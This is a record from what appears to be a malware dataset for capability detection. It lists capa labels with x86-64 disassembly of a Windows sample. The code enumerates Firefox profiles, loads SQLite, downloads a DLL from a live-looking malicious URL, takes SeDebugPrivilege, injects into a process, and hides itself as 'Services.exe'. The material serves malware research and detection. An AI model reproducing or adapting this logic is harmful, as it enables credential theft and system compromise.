joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13f223044
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rdi, rcx
mov rcx, rdx
call fcn.13f224fa4
and qword [rsp + 0x30], 0
xor r9d, r9d
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov rcx, rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x13f2230b5
lea rdx, [0x13f25dab3]
mov rcx, rdi
call fcn.13f224e18
jmp 0x13f223153
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp eax, 0xffffffff
jne 0x13f2230d9
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x13f25dab6]
jmp 0x13f2230a8
lea rcx, [rsp + 0x48]
call fcn.13f224db8
lea rcx, [rsp + 0x48]
mov rdx, rsi
call fcn.13f224efc
lea rcx, [rsp + 0x48]
xor edx, edx
call fcn.13f224e9c
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov rdx, rax
mov r8d, esi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbp
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x13f22313a
cmp dword [rsp + 0x40], esi
jne 0x13f22313a
lea rdx, [rsp + 0x48]
mov rcx, rdi
call fcn.13f224e4c
jmp 0x13f223149
lea rdx, [0x13f25dab7]
mov rcx, rdi
call fcn.13f224e18
lea rcx, [rsp + 0x48]
call fcn.13f224e88
mov rax, rdi
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.13f23c0b0
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
Function at 0x13f2235d0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
lea rcx, str.sqlite.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x13f26bb10], rax
test rax, rax
je 0x13f223717
lea rdx, str.sqlite3_open
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x13f26bb10]
lea rdx, str.sqlite3_open16
mov qword [0x13f26bb18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x13f26bb10]
lea rdx, str.sqlite3_prepare_v2
mov qword [0x13f26bb50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x13f26bb10]
lea rdx, str.sqlite3_column_text
mov qword [0x13f26bb20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x13f26bb10]
lea rdx, str.sqlite3_column_blob
mov qword [0x13f26bb28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x13f26bb10]
lea rdx, str.sqlite3_column_bytes
mov qword [0x13f26bb30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x13f26bb10]
lea rdx, str.sqlite3_step
mov qword [0x13f26bb38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x13f26bb10]
lea rdx, str.sqlite3_close
mov qword [0x13f26bb40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x13f26bb18], 0
mov qword [0x13f26bb48], rax
je 0x13f22370a
cmp qword [0x13f26bb20], 0
je 0x13f22370a
cmp qword [0x13f26bb28], 0
je 0x13f22370a
cmp qword [0x13f26bb30], 0
je 0x13f22370a
cmp qword [0x13f26bb38], 0
je 0x13f22370a
cmp qword [0x13f26bb40], 0
je 0x13f22370a
test rax, rax
je 0x13f22370a
mov al, 1
jmp 0x13f223719
mov rcx, qword [0x13f26bb10]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
add rsp, 0x28
ret
Function at 0x13f2257ec
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x27], rax
movzx r12d, dx
mov rsi, rcx
mov word [rbp - 0x39], dx
call fcn.13f2218ec
lea rdx, [rbp - 0x39]
lea rcx, [rbp - 0x35]
movzx edi, ax
mov word [rbp - 0x35], ax
call fcn.13f2218b4
test al, al
je 0x13f225848
lea rcx, [rbp - 0x39]
call fcn.13f2218c0
jmp 0x13f225a20
mov rcx, rsi
call fcn.13f227728
test rax, rax
je 0x13f22588d
mov rcx, rsi
call fcn.13f227864
mov rcx, rsi
mov rbx, rax
call fcn.13f227728
cmp rax, rbx
jae 0x13f22588d
mov rcx, rsi
call fcn.13f2278d4
lea rcx, [rbp - 0x39]
mov rbx, rax
call fcn.13f2218b0
mov word [rbx], ax
movzx eax, r12w
jmp 0x13f225a20
cmp qword [rsi + 0x98], 0
je 0x13f225a1d
mov rcx, rsi
call fcn.13f227d38
lea rcx, [rbp - 0x39]
call fcn.13f2218b0
cmp qword [rsi + 0x80], 0
jne 0x13f2258d1
mov rdx, qword [rsi + 0x98]
movzx ecx, ax
call fcn.13f222df8
test al, al
cmovne di, r12w
jmp 0x13f225a1d
xor r8d, r8d
lea rcx, [rbp - 1]
mov word [rbp - 0x39], ax
lea edx, [r8 + 8]
call fcn.13f226e1c
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 1]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
lea rcx, [rbp - 1]
mov rbx, rax
call fcn.13f224fac
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 1]
add rbx, rax
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
lea rcx, [rbp - 0x31]
lea r9, [rbp - 0x37]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsi + 0x80]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x29]
lea r8, [rbp - 0x39]
lea rdx, [rsi + 0x8c]
mov qword [rsp + 0x20], rax
call fcn.13f221df0
test eax, eax
js 0x13f225a14
cmp eax, 1
jg 0x13f2259f8
lea rdx, [rbp - 0x11]
lea rcx, [rbp - 1]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov rbx, qword [rbp - 0x31]
sub rbx, rax
je 0x13f2259b5
lea rdx, [rbp - 9]
lea rcx, [rbp - 1]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov r9, qword [rsi + 0x98]
mov r8, rbx
mov rcx, rax
mov edx, 1
call fcn.13f23df0c
cmp rbx, rax
jne 0x13f225a14
lea rax, [rbp - 0x39]
mov byte [rsi + 0x8a], 1
cmp qword [rbp - 0x29], rax
jne 0x13f2259f2
test rbx, rbx
jne 0x13f2258e5
lea rcx, [rbp - 1]
call fcn.13f224fac
cmp rax, 0x20
jae 0x13f225a14
lea edx, [rbx + 8]
lea rcx, [rbp - 1]
xor r8d, r8d
call fcn.13f226eec
jmp 0x13f2258e5
movzx edi, r12w
jmp 0x13f225a14
cmp eax, 3
jne 0x13f225a14
mov rdx, qword [rsi + 0x98]
movzx ecx, word [rbp - 0x39]
call fcn.13f222df8
test al, al
cmovne di, r12w
lea rcx, [rbp - 1]
call fcn.13f224e88
movzx eax, di
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.13f23c0b0
mov rbx, qword [rsp + 0xf0]
add rsp, 0xb0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x13f226298
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r12d, edx
mov rsi, rcx
mov dword [rbp - 0x31], edx
call fcn.13f2219b0
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x29]
mov edi, eax
mov dword [rbp - 0x29], eax
call fcn.13f221980
test al, al
je 0x13f2262f0
lea rcx, [rbp - 0x31]
call fcn.13f221988
jmp 0x13f2264bf
mov rcx, rsi
call fcn.13f227728
test rax, rax
je 0x13f226333
mov rcx, rsi
call fcn.13f227754
mov rcx, rsi
mov rbx, rax
call fcn.13f227728
cmp rax, rbx
jae 0x13f226333
mov rcx, rsi
call fcn.13f2277a4
lea rcx, [rbp - 0x31]
mov rbx, rax
call fcn.13f221978
mov byte [rbx], al
mov eax, r12d
jmp 0x13f2264bf
cmp qword [rsi + 0x98], 0
je 0x13f2264bd
mov rcx, rsi
call fcn.13f228134
lea rcx, [rbp - 0x31]
call fcn.13f221978
cmp qword [rsi + 0x80], 0
jne 0x13f226375
mov rdx, qword [rsi + 0x98]
mov cl, al
call fcn.13f222de0
test al, al
cmovne edi, r12d
jmp 0x13f2264bd
xor r8d, r8d
lea rcx, [rbp - 1]
mov byte [rbp - 0x39], al
lea edx, [r8 + 8]
call fcn.13f226e1c
lea rdx, [rbp - 0x21]
lea rcx, [rbp - 1]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
lea rcx, [rbp - 1]
mov rbx, rax
call fcn.13f224fac
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 1]
add rbx, rax
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
lea rcx, [rbp - 0x29]
lea r9, [rbp - 0x38]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rsi + 0x80]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x31]
lea r8, [rbp - 0x39]
lea rdx, [rsi + 0x8c]
mov qword [rsp + 0x20], rax
call fcn.13f221df0
test eax, eax
js 0x13f2264b4
cmp eax, 1
jg 0x13f22649a
lea rdx, [rbp - 0x11]
lea rcx, [rbp - 1]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov rbx, qword [rbp - 0x29]
sub rbx, rax
je 0x13f226458
lea rdx, [rbp - 9]
lea rcx, [rbp - 1]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov r9, qword [rsi + 0x98]
mov r8, rbx
mov rcx, rax
mov edx, 1
call fcn.13f23df0c
cmp rbx, rax
jne 0x13f2264b4
lea rax, [rbp - 0x39]
mov byte [rsi + 0x89], 1
cmp qword [rbp - 0x31], rax
jne 0x13f226495
test rbx, rbx
jne 0x13f226388
lea rcx, [rbp - 1]
call fcn.13f224fac
cmp rax, 0x20
jae 0x13f2264b4
lea edx, [rbx + 8]
lea rcx, [rbp - 1]
xor r8d, r8d
call fcn.13f226eec
jmp 0x13f226388
mov edi, r12d
jmp 0x13f2264b4
cmp eax, 3
jne 0x13f2264b4
mov rdx, qword [rsi + 0x98]
mov cl, byte [rbp - 0x39]
call fcn.13f222de0
test al, al
cmovne edi, r12d
lea rcx, [rbp - 1]
call fcn.13f224e88
mov eax, edi
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.13f23c0b0
mov rbx, qword [rsp + 0xf0]
add rsp, 0xb0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x13f227b4c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x3f], rax
xor edi, edi
mov rsi, rcx
cmp qword [rcx + 0x80], rdi
je 0x13f227cd1
cmp byte [rcx + 0x8a], dil
je 0x13f227cd1
call fcn.13f2218ec
mov rcx, rsi
movzx ebx, ax
mov rax, qword [rsi]
movzx edx, bx
call qword [rax + 0x18]
lea rdx, [rbp - 0x17]
lea rcx, [rbp - 0x19]
mov word [rbp - 0x17], ax
mov word [rbp - 0x19], bx
call fcn.13f2218b4
test al, al
je 0x13f227bc7
xor al, al
jmp 0x13f227cd3
xor r8d, r8d
lea rcx, [rbp + 0x17]
lea edx, [r8 + 8]
call fcn.13f226e1c
lea rdx, [rbp - 9]
lea rcx, [rbp + 0x17]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
lea rcx, [rbp + 0x17]
mov rbx, rax
call fcn.13f224fac
lea rdx, [rbp + 0xf]
lea rcx, [rbp + 0x17]
add rbx, rax
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov rcx, qword [rsi + 0x80]
lea rdx, [rsi + 0x8c]
mov r8, rax
lea rax, [rbp - 0x11]
mov r9, rbx
mov qword [rsp + 0x20], rax
call fcn.13f221e30
mov r11d, eax
test eax, eax
je 0x13f227c55
dec r11d
je 0x13f227c5c
cmp r11d, 2
jne 0x13f227c47
mov dil, 1
lea rcx, [rbp + 0x17]
call fcn.13f224e88
mov al, dil
jmp 0x13f227cd3
mov byte [rsi + 0x8a], dil
lea rdx, [rbp - 1]
lea rcx, [rbp + 0x17]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov rbx, qword [rbp - 0x11]
sub rbx, rax
je 0x13f227cab
lea rdx, [rbp + 7]
lea rcx, [rbp + 0x17]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov r9, qword [rsi + 0x98]
mov r8, rbx
mov rcx, rax
mov edx, 1
call fcn.13f23df0c
cmp rbx, rax
jne 0x13f227c47
cmp byte [rsi + 0x8a], dil
je 0x13f227c44
test rbx, rbx
jne 0x13f227bd7
lea edx, [rbx + 8]
lea rcx, [rbp + 0x17]
xor r8d, r8d
call fcn.13f226eec
jmp 0x13f227bd7
mov al, 1
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x13f227f4c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor edi, edi
mov rsi, rcx
cmp qword [rcx + 0x80], rdi
je 0x13f2280cd
cmp byte [rcx + 0x89], dil
je 0x13f2280cd
call fcn.13f2219b0
mov rcx, rsi
mov ebx, eax
mov rax, qword [rsi]
mov edx, ebx
call qword [rax + 0x18]
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x11]
mov dword [rbp - 0x19], eax
mov dword [rbp - 0x11], ebx
call fcn.13f221980
test al, al
je 0x13f227fc3
xor al, al
jmp 0x13f2280cf
xor r8d, r8d
lea rcx, [rbp + 0xf]
lea edx, [r8 + 8]
call fcn.13f226e1c
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
lea rcx, [rbp + 0xf]
mov rbx, rax
call fcn.13f224fac
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0xf]
add rbx, rax
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov rcx, qword [rsi + 0x80]
lea rdx, [rsi + 0x8c]
mov r8, rax
lea rax, [rbp - 9]
mov r9, rbx
mov qword [rsp + 0x20], rax
call fcn.13f221e30
mov r11d, eax
test eax, eax
je 0x13f228051
dec r11d
je 0x13f228058
cmp r11d, 2
jne 0x13f228043
mov dil, 1
lea rcx, [rbp + 0xf]
call fcn.13f224e88
mov al, dil
jmp 0x13f2280cf
mov byte [rsi + 0x89], dil
lea rdx, [rbp + 7]
lea rcx, [rbp + 0xf]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov rbx, qword [rbp - 9]
sub rbx, rax
je 0x13f2280a7
lea rdx, [rbp - 1]
lea rcx, [rbp + 0xf]
call fcn.13f227200
mov rcx, rax
call fcn.13f2281c0
mov r9, qword [rsi + 0x98]
mov r8, rbx
mov rcx, rax
mov edx, 1
call fcn.13f23df0c
cmp rbx, rax
jne 0x13f228043
cmp byte [rsi + 0x89], dil
je 0x13f228040
test rbx, rbx
jne 0x13f227fd3
lea edx, [rbx + 8]
lea rcx, [rbp + 0xf]
xor r8d, r8d
call fcn.13f226eec
jmp 0x13f227fd3
mov al, 1
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret
Function at 0x13f22a418
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov rbx, rcx
mov ecx, 0x104
call fcn.13f23e180
mov rdi, rax
test rax, rax
je 0x13f22a56d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x1a]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [0x13f25daaf]
lea rcx, [rbp - 0x80]
call fcn.13f224e18
lea rcx, [rsp + 0x30]
mov rdx, rdi
call fcn.13f224e18
lea r8, str.MozillaFirefoxProfiles_
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.13f22a74c
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.13f22a6c8
lea rcx, [rsp + 0x58]
call fcn.13f224e88
lea r8, [0x13f25de7c]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x58]
call fcn.13f22a74c
mov rcx, rax
call fcn.13f224eec
lea rdx, [rbp - 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea rcx, [rbp - 0x58]
mov rdi, rax
call fcn.13f224e88
test byte [rbp - 0x30], 0x10
je 0x13f22a535
lea rdx, [rbp - 4]
lea rcx, [rsp + 0x58]
call fcn.13f224e18
lea rdx, str.release
lea rcx, [rsp + 0x58]
call fcn.13f224f10
cmp rax, 0xffffffffffffffff
je 0x13f22a52b
lea rdx, [rbp - 4]
lea rcx, [rbp - 0x80]
call fcn.13f224e94
lea rcx, [rsp + 0x58]
call fcn.13f224e88
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x13f22a4f3
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.13f22a7bc
lea rcx, [rsp + 0x30]
call fcn.13f224e88
lea rcx, [rbp - 0x80]
call fcn.13f224e88
mov rax, rbx
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x13f22b218
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
xor edi, edi
mov r14, rdx
mov rbx, rcx
mov dword [rdx], edi
lea rcx, str.SexyBitch
lea edx, [rdi + 1]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
jne 0x13f22b261
xor eax, eax
jmp 0x13f22b332
mov rcx, rbx
call fcn.13f224fa4
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov rdx, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r12, rax
test rax, rax
jne 0x13f22b29b
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x13f22b25a
mov r13d, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x13f22b31d
mov rdx, rax
jmp 0x13f22b2ff
cmp dword [rsp + 0x68], edi
jbe 0x13f22b317
add r13d, dword [rsp + 0x68]
lea ebx, [r13 + 0x1000]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r9d, ebx
mov r8, rbp
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x13f22b317
mov edx, r13d
mov rbp, rax
add rdx, rax
lea r9, [rsp + 0x68]
mov r8d, 0x1000
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x13f22b2c5
mov dword [r14], r13d
mov rdi, rbp
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rdi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret

Function at 0x13f22b4f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov rbx, rcx
lea rcx, [rsp + 0x20]
call fcn.13f225564
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x13f22b56f
lea rdx, [rsp + 0x40]
mov rcx, rax
mov dword [rsp + 0x40], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x13f22b56b
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.13f22bb30
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x13f22b54e
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.13f22bac4
lea rcx, [rsp + 0x20]
call fcn.13f2255ac
mov rax, rbx
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x13f22b6d8
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp - 8], rax
and qword [rbp - 0x48], 0
and dword [rbp - 0x40], 0
xor eax, eax
and dword [rbp - 0x50], eax
mov r12d, edx
mov r13, rcx
lea rdx, str.http:__4382.bimmobil.xyz_tools_Core.dll
lea rcx, [rbp - 0x30]
mov qword [rbp - 0x3c], rax
mov dword [rbp - 0x34], eax
lea edi, [rax + 1]
call fcn.13f224f40
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.13f22b218
lea rcx, [rbp - 0x30]
mov rsi, rax
call fcn.13f224f98
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x48]
lea edx, [rdi + 0x27]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x13f22b7a7
lea r8, [rbp - 0x3c]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rbp - 0x40], edi
mov dword [rbp - 0x34], 2
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x13f22b79d
and qword [rsp + 0x28], 0
mov rcx, qword [rbp - 0x48]
and qword [rsp + 0x20], 0
lea r8, [rbp - 0x40]
xor r9d, r9d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r12d
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x13f22b7de
lea rdx, str.ERROR:_Failed_to_open_the_target_process
lea rcx, [0x13f2695a0]
call fcn.13f2295b0
mov rcx, rax
call fcn.13f22b8d0
xor edi, edi
jmp 0x13f22b81e
mov r8d, dword [rbp - 0x50]
mov rdx, rsi
mov rcx, rax
call fcn.13f22e24c
test rax, rax
jne 0x13f22b812
lea rdx, str.ERROR:_Failed_to_inject_the_DLL_in_process:
lea rcx, [0x13f2695a0]
call fcn.13f2295b0
mov edx, r12d
mov rcx, rax
call fcn.13f22b8d8
jmp 0x13f22b7d2
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test rsi, rsi
je 0x13f22b837
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
je 0x13f22b845
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call fcn.13f224e88
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.13f23c0b0
mov rbx, qword [rsp + 0xc0]
add rsp, 0x80
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x13f22dae0
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x670
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x660], rax
lea rdx, [rsp + 0x450]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x13f22db1c
xor al, al
jmp 0x13f22dbc1
xor r9d, r9d
lea rax, [rsp + 0x240]
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x13f22db15
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x13f22db15
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x240]
repne scasw ax, word [rdi]
lea rdx, [rsp + 0x240]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x450]
call fcn.13f23e480
test eax, eax
je 0x13f22dbbf
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasw ax, word [rdi]
lea rdx, [rsp + 0x30]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x450]
call fcn.13f23e480
test eax, eax
jne 0x13f22db15
mov al, 1
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.13f23c0b0
add rsp, 0x670
pop rdi
ret

Function at 0x13f22dbdc
Capabilities:
Get common file path
Move file
Set file attributes

Disassembly:
push rbp
lea rbp, [rsp - 0x570]
sub rsp, 0x670
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x560], rax
call fcn.13f22dae0
xor ecx, ecx
mov r8d, 0x104
test al, al
je 0x13f22dc2d
lea rdx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x350]
call fcn.13f23e4ac
jmp 0x13f22dce5
lea rdx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r9d, r9d
lea r11, [rsp + 0x30]
lea edx, [r9 + 0x1a]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x13f22dce3
lea r8, [0x13f25de3c]
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.13f23e3f8
lea r8, str.Services.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.13f23e3f8
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x13f22dcba
lea rcx, [rsp + 0x30]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x30]
jmp 0x13f22dc23
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x13f22dce3
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x140]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x13f22dca0
xor eax, eax
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.13f23c0b0
add rsp, 0x670
pop rbp
ret